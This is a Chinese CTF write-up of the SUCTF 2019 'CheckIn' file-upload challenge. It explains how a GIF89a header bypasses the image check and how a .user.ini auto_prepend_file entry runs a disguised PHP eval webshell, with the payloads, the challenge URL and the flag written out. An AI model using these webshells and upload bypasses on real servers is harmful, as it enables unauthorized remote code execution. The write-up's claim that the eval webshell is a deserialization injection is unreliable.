【upload]-ini-[SUCTF 2019]CheckIn-笔记

上传图片木马文件后看到,检查的文件内容,包含<?

 一句话木马提示

 检查的文件格式

用如下图片木马,加上GIF89a绕过图片和<?检查

GIF89a
<script language='php'>@eval($_POST['cmd'])</script>

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。
其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中
 

# .xxxx.ini 文件是配置当前目录以及当前子目录的规则配置的文件,文件的中的配置会覆盖掉当前php.ini中的规则,是当前用户的配置文件
# 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

# 如果是 Apache 服务器,则可以利用 .htaccess 文件,作用和 .INI 一样,只是风格上有些不一样
 

 分别上传2个文件

#.user.ini

GIF89a
auto_prepend_file=bc.gif




#bc.gif
GIF89a
<script language='php'>@eval($_POST['cmd'])</script>

结果如下:

用蚁剑链接或者hackerbar都可以

 http://59f9766b-72f9-42f1-afdb-fc34ba5c6ad9.node5.buuoj.cn:81/uploads/0211dc66bfdf20bb5c17ed485cf67119/index.php

 

 flag:flag{c7acceaf-ca22-445d-b020-8260809d8287}

### SUCTF 2019 CheckIn 题目解析 #### 背景介绍 SUCTF 2019 的 `CheckIn` 是一道 Web 安全题目,主要考察参赛者对于文件上传漏洞的理解以及如何绕过后端的安全检测机制。 #### 文件上传安全检测 在该题目中,服务器使用了 `exif_imagetype()` 函数来验证上传文件是否为合法的图片格式。此函数通过读取文件头部信息中的特定签名来识别图像类型[^3]。然而,这种基于文件头的简单校验方式存在被攻击者利用的可能性。 #### 绕过方法 为了成功提交恶意脚本而不触发上述防护措施,可以采用如下策略: - **修改文件头**:在实际要执行的有效载荷之前附加一段符合目标图片格式标准的数据流。例如,在PHP代码前加入代表JPEG、GIF或PNG格式的魔数(Magic Number),使得即使内容并非真正的图形数据也能顺利通过检验。 具体操作可以在十六进制编辑工具如010Editor里完成,向待上传文件起始处写入相应类型的特征码: - 对于JPG文件应添加 `FF D8 FF E0 00 10 4A 46 49 46` - GIF则需插入字符串 `"GIF89a"` - PNG对应的是序列 `89 50 4E 47` 这样处理后的文件既满足表象上的合法性又暗藏可被执行的指令片段[^2]。 #### 实现过程 创建一个特制的小型Webshell作为测试样本,这里选用了一种常见的单行反序列化命令注入形式,并伪装成GIF图档的形式发送给远程主机。注意去除敏感字符以免引起不必要的过滤拦截。 ```php <?php @eval($_POST['messi']);?> ``` 将其转换为适合传输的状态——即前面提到过的带有虚假图片标识的部分,最终形成完整的payload之后再实施递交动作。一旦部署完毕即可借助客户端发起请求激活隐藏功能获取进一步控制权或者直接读取指定路径下的敏感资料比如 `/flag` 来完成挑战任务[^1]。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值